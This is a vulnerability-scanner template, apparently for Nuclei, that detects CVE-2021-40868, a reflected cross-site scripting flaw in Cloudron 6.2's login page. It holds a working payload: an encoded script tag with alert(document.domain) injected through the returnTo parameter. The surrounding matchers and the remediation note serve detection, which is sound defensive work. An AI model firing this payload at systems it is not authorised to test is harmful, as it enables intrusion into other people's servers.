2021-09-28 00:42:28 +00:00
|
|
|
id: CVE-2021-40868
|
|
|
|
|
|
|
|
info:
|
2022-03-06 16:31:51 +00:00
|
|
|
name: Cloudron 6.2 Cross-Site Scripting
|
2021-09-28 00:42:28 +00:00
|
|
|
author: daffainfo
|
|
|
|
severity: medium
|
2022-03-06 16:31:51 +00:00
|
|
|
description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
|
2021-09-28 00:42:28 +00:00
|
|
|
reference:
|
|
|
|
- https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
|
2021-09-28 10:05:46 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40868
|
2021-10-02 12:30:44 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2021-10-02 12:30:44 +00:00
|
|
|
cve-id: CVE-2021-40868
|
|
|
|
cwe-id: CWE-79
|
2022-04-22 10:38:41 +00:00
|
|
|
remediation: Upgrade to Cloudron 6.3 or higher.
|
|
|
|
tags: cve,cve2021,xss,cloudron
|
2021-09-28 00:42:28 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-09-28 10:05:46 +00:00
|
|
|
- '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
2021-09-28 00:42:28 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-09-28 10:05:46 +00:00
|
|
|
- '</script><script>alert(document.domain)</script>'
|
2021-09-28 00:42:28 +00:00
|
|
|
part: body
|
2022-03-06 16:31:51 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/03/06
|